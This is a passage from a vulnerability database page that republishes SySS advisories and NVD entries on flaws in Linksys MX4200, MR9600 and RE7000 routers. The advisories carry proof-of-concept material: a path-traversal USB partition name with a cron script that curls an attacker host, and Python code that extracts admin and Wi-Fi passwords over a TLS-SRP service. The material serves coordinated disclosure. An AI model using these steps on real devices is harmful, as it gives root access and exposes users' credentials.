at the top turning yellow, indicating that the OS command was successfully executed. No valid username or password is needed.   from socket import *   from tlslite.api import *   sock = socket.socket(AF_INET, SOCK_STREAM)   sock.connect(("192.168.1.1", 6060))   conn = TLSConnection(sock) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: There is no known solution yet. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2024-11-11: Vulnerability discovered 2025-03-18: Vulnerability reported to manufacturer 2025-04-07: First response from manufacturer 2025-04-14: Requested an update from manufacturer 2025-05-06: Acknowledgment of vulnerabilities by the manufacturer 2026-02-12: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Linksys MX4200     https://support.linksys.com/kb/article/952-en/ [2] SySS Security Advisory SYSS-2025-010 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-010.txt [3] SySS Responsible Disclosure Policy     https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Christian Zäske of SySS GmbH. E-Mail: christian.zaeske () syss de Key ID: 0x7B00D164A32F9AC9 Key Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: https://creativecommons.org/licenses/by/3.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    CWE
    Impacted products

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    GCVE-1988-2026-0199

    Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 10:09
    VLAI
    Title
    [SYSS-2025-001] Linksys MX9600/MX4200 - Path Traversal
    Summary
    Advisory ID:               SYSS-2025-001 Product:                   MR9600, MX4200 (and potentially others) Manufacturer:              Linksys Tested Version(s):         1.0.4.205530 for MR9600, 1.0.13.210200 for MX4200 Vulnerability Type:        Path Traversal (CWE-22) Risk Level:                Medium Solution Status:           Open Manufacturer Notification: 2025-03-18 Solution Date:             - Public Disclosure:         2026-02-12 CVE Reference:             Not yet assigned Author of Advisory:        Christian Zäske, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Linksys MX4200 is a Wi-Fi mesh router targeting home users. The manufacturer describes the product as follows (see [1]): "This router supports the latest Wi-Fi® 6 (802.11ax) standard for next-level streaming and gaming. Its powerful WiFi 6 mesh coverage offers faster WiFi performance for lag-free online gaming and simultaneous streaming to every device and corner of your home." Due to missing neutralization of special elements, the contents of a USB drive partition can be mounted in an arbitrary location of the file system. This can also result in the execution of shell scripts in the context of the root user. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The Linksys MX4200 (and other models) provides a USB port to share the contents of a USB drive as an SMB share in the local network. Internally, the partition is mounted at "/tmp/anon_smb/<partition name>" by the script "/etc/init.d/service_tsmb.sh". Because the script does not neutralize special elements such as "../", the mount point can be changed to arbitrary locations by setting the name of the partition on the USB drive to "../../", followed by a path of the file system on the device. By choosing a path where scripts get executed on a regular basis, this vulnerability can be used to execute commands in the context of the root user. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): To execute the following shell script, the partition of the USB drive can be named "../../tmp/cron/cron.everyminute" and the script can be copied to the root of this partition. After plugging the USB drive into the device, the partition will be mounted at "/tmp/cron/cron.everyminute". The following script shows the contents of the file "exploit.sh", which will be mounted into the "cron.everyminute" directory:   #!/bin/bash   curl http://192.168.2.57/$(whoami) Because this directory is used to run every script it contains for every minute, the script will get executed in a maximum of 60 seconds. On the attacker's computer, a simple HTTP server is spawned. After plugging in the USB stick, the previous script is executed and access to the HTTP server is logged, as can be seen in the following snippet:   $ python -m http.server 80   Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...   192.168.2.1 - - [01/Jan/2024 13:00:00] "GET /root HTTP/1.1" 404 - ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: There is no known solution yet. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2024-11-11: Vulnerability discovered 2025-03-18: Vulnerability reported to manufacturer 2025-04-07: First response from manufacturer 2025-04-14: Requested an update from manufacturer 2025-05-06: Acknowledgment of vulnerabilities by the manufacturer 2026-02-12: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Linksys MX4200     https://support.linksys.com/kb/article/952-en/ [2] SySS Security Advisory SYSS-2025-001 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-001.txt [3] SySS Responsible Disclosure Policy     https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Christian Zäske of SySS GmbH. E-Mail: christian.zaeske () syss de Key ID: 0x7B00D164A32F9AC9 Key Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: https://creativecommons.org/licenses/by/3.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    CWE
    Impacted products

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After plugging the USB drive into\nthe device, the partition will be mounted at \"/tmp/cron/cron.everyminute\".\n\nThe following script shows the contents of the file \"exploit.sh\", which\nwill be mounted into the \"cron.everyminute\" directory:\n\n\u00a0 #!/bin/bash\n\u00a0 curl http://192.168.2.57/$(whoami)\n\nBecause this directory is used to run every script it contains for every\nminute, the script will get executed in a maximum of 60 seconds.\n\nOn the attacker\u0027s computer, a simple HTTP server is spawned. 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    GCVE-1988-2026-0200

    Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 10:09
    VLAI
    Title
    [SYSS-2025-002] Linksys MX9600/MX4200 - Missing Authentication for Critical Function
    Summary
    Advisory ID:               SYSS-2025-002 Product:                   MR9600, MX4200 (and potentially others) Manufacturer:              Linksys Tested Version(s):         1.0.4.205530 for MR9600, 1.0.13.210200 for MX4200 Risk Level:                Medium Solution Status:           Open Manufacturer Notification: 2025-03-18 Solution Date:             - Public Disclosure:         2026-02-12 CVE Reference:             Not yet assigned Author of Advisory:        Christian Zäske, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Linksys MX4200 is a Wi-Fi mesh router targeting home users. The manufacturer describes the product as follows (see [1]): "This router supports the latest Wi-Fi® 6 (802.11ax) standard for next-level streaming and gaming. Its powerful WiFi 6 mesh coverage offers faster WiFi performance for lag-free online gaming and simultaneous streaming to every device and corner of your home." Due to missing authentication, a user with physical access to the device can misuse the mesh functionality to add a new mesh device to the network to gain access to sensitive information, including the password for admin access to the web interface and the Wi-Fi passwords. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The Linksys MX4200 (and other models) provides the functionality to add other devices to the mesh network. One method to add such a device uses a Bluetooth connection initiated by pressing the reset button quickly five times. This makes the router search for nearby Bluetooth Low Energy (BLE) devices with specific services and characteristics. After such a device is found, the router will connect to it and send credentials for a hidden Wi-Fi network as well as a TLS-SRP username and password. This information can be used to connect to the hidden Wi-Fi and a service running on TCP port 6060, which accepts a TLS-SRP connection using the given credentials. By sending a binary hello message, followed by a so-called "sync request", the service will answer with sensitive data, including the password for admin access to the web interface and the Wi-Fi passwords. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): To be recognized as a Linksys mesh device over BLE, the correct data has to be advertised. This includes the following:   - Flags: 0x06   - Manufacturer specific data: 0x5C00 0x0000   - Complete local name: Linksys Additionally, the following service has to be present with the specified characteristics:   Service UUID: 00002080-8eab-46c2-b788-0e9440016fd1   Characteristics 1:     UUID: 00002081-8eab-46c2-b788-0e9440016fd1     Properties: READ, WRITE, NOTIFY     Permissions: READABLE, WRITABLE   Characteristics 2:     UUID: 00002082-8eab-46c2-b788-0e9440016fd1     Properties: READ, WRITE, NOTIFY     Permissions: READABLE, WRITABLE After the reset button on the MX4200 is pressed quickly five times, it will connect to the advertising device and write the data containing the SSID and passphrase of the hidden Wi-Fi network as well as the TLS-SRP username and password into the second characteristic. After this data is received and a Wi-Fi connection to the hidden network is established, the following Python code, using the "tlslite-ng" library, can be used to connect to the service running on TCP port 6060 and to send the sync request:   from socket import *   from tlslite.api import *   sock = socket.socket(AF_INET, SOCK_STREAM)   sock.connect(("192.168.1.1", 6060))   conn = TLSConnection(sock)   conn.handshakeClientSRP(srp_username, srp_pass) conn.sendall(bytes.fromhex("4f53435479e0b43120fcf435000000600000"))   data = ""   msg = connection.recv(1024)   while msg:       data = data + msg.hex()       msg = connection.recv(1024)   data = bytes.fromhex(data[36:-2])   data = data.decode("utf8")   json_data = json.loads(data)   print(json.dumps(json_data, indent=2)) The returned data is shown in the following:   {     "ADMIN": {       "syscfg": [         {           "device::admin_password": "AdminPassword+1"         }       ],       [...]     },     "WLAN": {       "syscfg": [         {           "device::wps_pin": "63091700"         },         [...]         {           "wl0_passphrase": "WiFiPassword"         },         {           "wl0_security_mode": "wpa2-personal"         },         {           "wl0_ssid": "LinksysRD"         },         [...]       ],     },     [...]   } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: There is no known solution yet. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2024-11-11: Vulnerability discovered 2025-03-18: Vulnerability reported to manufacturer 2025-04-07: First response from manufacturer 2025-04-14: Requested an update from manufacturer 2025-05-06: Acknowledgment of vulnerabilities by the manufacturer 2025-06-24: Manufacturer information: vulnerability will not receive fix 2026-02-12: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Linksys MX4200     https://support.linksys.com/kb/article/952-en/ [2] SySS Security Advisory SYSS-2025-002 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-002.txt [3] SySS Responsible Disclosure Policy     https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Christian Zäske of SySS GmbH. E-Mail: christian.zaeske () syss de Key ID: 0x7B00D164A32F9AC9 Key Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: https://creativecommons.org/licenses/by/3.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Impacted products

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              "value": "Advisory ID:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0SYSS-2025-002\nProduct:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0MR9600, MX4200 (and potentially others)\nManufacturer:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Linksys\n\nTested Version(s):\u00a0 \u00a0 \u00a0 \u00a0 \u00a01.0.4.205530 for MR9600, 1.0.13.210200 for MX4200\n\nRisk Level:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Medium\nSolution Status:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Open\nManufacturer Notification: 2025-03-18\nSolution Date:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0-\nPublic Disclosure:\u00a0 \u00a0 \u00a0 \u00a0 \u00a02026-02-12\nCVE Reference:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Not yet assigned\nAuthor of Advisory:\u00a0 \u00a0 \u00a0 \u00a0 Christian Z\u00e4ske, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nLinksys MX4200 is a Wi-Fi mesh router targeting home users.\n\nThe manufacturer describes the product as follows (see [1]):\n\n\"This router supports the latest Wi-Fi\u00ae 6 (802.11ax) standard for\nnext-level streaming and gaming. Its powerful WiFi 6 mesh coverage\noffers faster WiFi performance for lag-free online gaming and\nsimultaneous streaming to every device and corner of your home.\"\n\nDue to missing authentication, a user with physical access to the device\ncan misuse the mesh functionality to add a new mesh device to the network\nto gain access to sensitive information, including the password for admin\naccess to the web interface and the Wi-Fi passwords.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Linksys MX4200 (and other models) provides the functionality to add\nother devices to the mesh network. One method to add such a device uses\na Bluetooth connection initiated by pressing the reset button quickly\nfive times.\n\nThis makes the router search for nearby Bluetooth Low Energy (BLE) devices\nwith specific services and characteristics. After such a device is found,\nthe router will connect to it and send credentials for a hidden Wi-Fi\nnetwork as well as a TLS-SRP username and password. This information\ncan be used to connect to the hidden Wi-Fi and a service running on TCP\nport 6060, which accepts a TLS-SRP connection using the given\ncredentials.\n\nBy sending a binary hello message, followed by a so-called \"sync request\",\nthe service will answer with sensitive data, including the password for\nadmin access to the web interface and the Wi-Fi passwords.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nTo be recognized as a Linksys mesh device over BLE, the correct data has\nto be advertised. This includes the following:\n\n\u00a0 - Flags: 0x06\n\u00a0 - Manufacturer specific data: 0x5C00 0x0000\n\n\u00a0 - Complete local name: Linksys\n\nAdditionally, the following service has to be present with the specified\ncharacteristics:\n\n\u00a0 Service UUID: 00002080-8eab-46c2-b788-0e9440016fd1\n\n\u00a0 Characteristics 1:\n\u00a0 \u00a0 UUID: 00002081-8eab-46c2-b788-0e9440016fd1\n\u00a0 \u00a0 Properties: READ, WRITE, NOTIFY\n\u00a0 \u00a0 Permissions: READABLE, WRITABLE\n\n\u00a0 Characteristics 2:\n\u00a0 \u00a0 UUID: 00002082-8eab-46c2-b788-0e9440016fd1\n\u00a0 \u00a0 Properties: READ, WRITE, NOTIFY\n\u00a0 \u00a0 Permissions: READABLE, WRITABLE\n\nAfter the reset button on the MX4200 is pressed quickly five times,\nit will connect to the advertising device and write the data containing\nthe SSID and passphrase of the hidden Wi-Fi network as well as the\nTLS-SRP username and password into the second characteristic.\n\nAfter this data is received and a Wi-Fi connection to the hidden\nnetwork is established, the following Python code, using the\n\"tlslite-ng\" library, can be used to connect to the service running on\nTCP port 6060 and to send the sync request:\n\n\u00a0 from socket import *\n\u00a0 from tlslite.api import *\n\n\u00a0 sock = socket.socket(AF_INET, SOCK_STREAM)\n\u00a0 sock.connect((\"192.168.1.1\", 6060))\n\n\u00a0 conn = TLSConnection(sock)\n\u00a0 conn.handshakeClientSRP(srp_username, srp_pass)\n\nconn.sendall(bytes.fromhex(\"4f53435479e0b43120fcf435000000600000\"))\n\n\n\u00a0 data = \"\"\n\u00a0 msg = connection.recv(1024)\n\u00a0 while msg:\n\u00a0 \u00a0 \u00a0 data = data + msg.hex()\n\u00a0 \u00a0 \u00a0 msg = connection.recv(1024)\n\n\u00a0 data = bytes.fromhex(data[36:-2])\n\u00a0 data = data.decode(\"utf8\")\n\u00a0 json_data = json.loads(data)\n\u00a0 print(json.dumps(json_data, indent=2))\n\nThe returned data is shown in the following:\n\n\u00a0 {\n\u00a0 \u00a0 \"ADMIN\": {\n\u00a0 \u00a0 \u00a0 \"syscfg\": [\n\u00a0 \u00a0 \u00a0 \u00a0 {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \"device::admin_password\": \"AdminPassword+1\"\n\u00a0 \u00a0 \u00a0 \u00a0 }\n\u00a0 \u00a0 \u00a0 ],\n\u00a0 \u00a0 \u00a0 [...]\n\u00a0 \u00a0 },\n\u00a0 \u00a0 \"WLAN\": {\n\u00a0 \u00a0 \u00a0 \"syscfg\": [\n\u00a0 \u00a0 \u00a0 \u00a0 {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \"device::wps_pin\": \"63091700\"\n\u00a0 \u00a0 \u00a0 \u00a0 },\n\u00a0 \u00a0 \u00a0 \u00a0 [...]\n\u00a0 \u00a0 \u00a0 \u00a0 {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \"wl0_passphrase\": \"WiFiPassword\"\n\u00a0 \u00a0 \u00a0 \u00a0 },\n\u00a0 \u00a0 \u00a0 \u00a0 {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \"wl0_security_mode\": \"wpa2-personal\"\n\u00a0 \u00a0 \u00a0 \u00a0 },\n\u00a0 \u00a0 \u00a0 \u00a0 {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \"wl0_ssid\": \"LinksysRD\"\n\u00a0 \u00a0 \u00a0 \u00a0 },\n\u00a0 \u00a0 \u00a0 \u00a0 [...]\n\u00a0 \u00a0 \u00a0 ],\n\u00a0 \u00a0 },\n\u00a0 \u00a0 [...]\n\u00a0 }\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThere is no known solution yet.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2024-11-11: Vulnerability discovered\n2025-03-18: Vulnerability reported to manufacturer\n2025-04-07: First response from manufacturer\n2025-04-14: Requested an update from manufacturer\n2025-05-06: Acknowledgment of vulnerabilities by the manufacturer\n2025-06-24: Manufacturer information: vulnerability will not receive fix\n2026-02-12: Public disclosure\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] Product website for Linksys MX4200\n\u00a0 \u00a0 https://support.linksys.com/kb/article/952-en/\n[2] SySS Security Advisory SYSS-2025-002\nhttps://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-002.txt\n[3] SySS Responsible Disclosure Policy\n\u00a0 \u00a0 https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Christian Z\u00e4ske of SySS\nGmbH.\n\nE-Mail: christian.zaeske () syss de\n\nKey ID: 0x7B00D164A32F9AC9\nKey Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 3.0\nURL: https://creativecommons.org/licenses/by/3.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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    CVE-2026-86299 (GCVE-0-2026-86299)

    Vulnerability from nvd – Published: 2026-09-07 11:15 – Updated: 2026-09-11 20:35
    VLAI
    Title
    Linksys RE7000 PingTest json.cgi platform_event_pingTest os command injection
    Summary
    A vulnerability was detected in Linksys RE7000 2.0.15. This affects the function platform_event_pingTest of the file /cgi-bin/json.cgi?PingTest of the component PingTest Handler. The manipulation of the argument pingTestIp/pingTestPktSize/pingTestTimes results in os command injection. The attack can be launched remotely. The exploit is now public and may be used.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-09-11 20:15 UTC
    CWE
    References
    Impacted products
    Vendor Product Version
    Linksys RE7000 Affected: 2.0.15
        cpe:2.3:o:linksys:re7000_firmware:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-6992 (GCVE-0-2026-6992)

    Vulnerability from nvd – Published: 2026-04-25 18:00 – Updated: 2026-04-27 13:34
    VLAI
    Title
    Linksys MR9600 JNAP Action run_central2.sh BTRequestGetSmartConnectStatus os command injection
    Summary
    A vulnerability was identified in Linksys MR9600 2.0.6.206937. This affects the function BTRequestGetSmartConnectStatus of the file /etc/init.d/run_central2.sh of the component JNAP Action Handler. The manipulation of the argument pin leads to os command injection. The attack may be initiated remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-04-27 13:10 UTC
    CWE
    References
    URL Tags
    https://vuldb.com/vuln/359544 vdb-entrytechnical-description
    https://vuldb.com/vuln/359544/cti signaturepermissions-required
    https://vuldb.com/submit/797086 third-party-advisory
    https://github.com/utmost3/cve/issues/2 exploitissue-tracking
    https://www.linksys.com/ product
    Impacted products
    Vendor Product Version
    Linksys MR9600 Affected: 2.0.6.206937
        cpe:2.3:o:linksys:mr9600_firmware:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-4558 (GCVE-0-2026-4558)

    Vulnerability from nvd – Published: 2026-03-22 17:29 – Updated: 2026-03-23 16:06
    VLAI
    Title
    Linksys MR9600 SmartConnect.lua smartConnectConfigure os command injection
    Summary
    A flaw has been found in Linksys MR9600 2.0.6.206937. Affected is the function smartConnectConfigure of the file SmartConnect.lua. Executing a manipulation of the argument configApSsid/configApPassphrase/srpLogin/srpPassword can lead to os command injection. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-03-23 16:06 UTC
    CWE
    References
    URL Tags
    https://vuldb.com/?id.352385 vdb-entrytechnical-description
    https://vuldb.com/?ctiid.352385 signaturepermissions-required
    https://vuldb.com/?submit.775036 third-party-advisory
    https://github.com/utmost3/cve/issues/1 exploitissue-tracking
    https://www.linksys.com/ product
    Impacted products
    Vendor Product Version
    Linksys MR9600 Affected: 2.0.6.206937
        cpe:2.3:o:linksys:mr9600_firmware:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-27850 (GCVE-0-2026-27850)

    Vulnerability from nvd – Published: 2026-02-25 16:58 – Updated: 2026-02-25 19:11
    VLAI
    Title
    Improper verification in Linksys MR9600, Linksys MX4200
    Summary
    Due to an improperly configured firewall rule, the router will accept any connection on the WAN port with the source port 5222, exposing all services which are normally only accessible through the local network. This issue affects MR9600: 1.0.4.205530; MX4200: 1.0.13.210200.
    SSVC
    Exploitation: poc Automatable: yes Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-02-25 19:11 UTC
    CWE
    • cwe-940 Improper Verification of Source of a Communication Channel
    References
    URL Tags
    https://www.syss.de/fileadmin/dokumente/Publikati… third-party-advisorytechnical-description
    Impacted products
    Vendor Product Version
    Linksys MR9600 Affected: 1.0.4.205530
    Create a notification for this product.
    Linksys MX4200 Affected: 1.0.13.210200
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-27849 (GCVE-0-2026-27849)

    Vulnerability from nvd – Published: 2026-02-25 16:20 – Updated: 2026-02-26 16:47
    VLAI
    Title
    Missing neutralization in Linksys MR9600, Linksys MX4200
    Summary
    Due to missing neutralization of special elements, OS commands can be injected via the update functionality of a TLS-SRP connection, which is normally used for configuring devices inside the mesh network. This issue affects MR9600: 1.0.4.205530; MX4200: 1.0.13.210200.
    SSVC
    Exploitation: poc Automatable: yes Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-02-26 16:46 UTC
    CWE
    • CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
    References
    URL Tags
    https://www.syss.de/fileadmin/dokumente/Publikati… third-party-advisorytechnical-description
    Impacted products
    Vendor Product Version
    Linksys MR9600 Affected: 1.0.4.205530
    Create a notification for this product.
    Linksys MX4200 Affected: 1.0.13.210200
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-27848 (GCVE-0-2026-27848)

    Vulnerability from nvd – Published: 2026-02-25 15:15 – Updated: 2026-02-26 16:51
    VLAI
    Title
    Missing neutralization in Linksys MR9600, Linksys MX4200
    Summary
    Due to missing neutralization of special elements, OS commands can be injected via the handshake of a TLS-SRP connection, which are ultimately run as the root user. This issue affects MR9600: 1.0.4.205530; MX4200: 1.0.13.210200.
    SSVC
    Exploitation: poc Automatable: yes Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-02-26 16:50 UTC
    CWE
    • CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
    References
    URL Tags
    https://www.syss.de/fileadmin/dokumente/Publikati… third-party-advisorytechnical-description
    Impacted products
    Vendor Product Version
    Linksys MR9600 Affected: 1.0.4.205530
    Create a notification for this product.
    Linksys MX4200 Affected: 1.0.13.210200
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-27847 (GCVE-0-2026-27847)

    Vulnerability from nvd – Published: 2026-02-25 15:10 – Updated: 2026-02-26 16:56
    VLAI
    Title
    Missing authentication in Linksys MR9600, Linksys MX4200
    Summary
    Due to improper neutralization of special elements, SQL statements can be injected via the handshake of a TLS-SRP connection. This can be used to inject known credentials into the database that can be utilized to successfully complete the handshake and use the protected service. This issue affects MR9600: 1.0.4.205530; MX4200: 1.0.13.210200.
    SSVC
    Exploitation: poc Automatable: yes Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-02-26 16:55 UTC
    CWE
    • CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
    References
    URL Tags
    https://www.syss.de/fileadmin/dokumente/Publikati… third-party-advisorytechnical-description
    Impacted products
    Vendor Product Version
    Linksys MR9600 Affected: 1.0.4.205530
    Create a notification for this product.
    Linksys MX4200 Affected: 1.0.13.210200
    Create a notification for this product.
    Show details on NVD website

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    CVE-2026-27846 (GCVE-0-2026-27846)

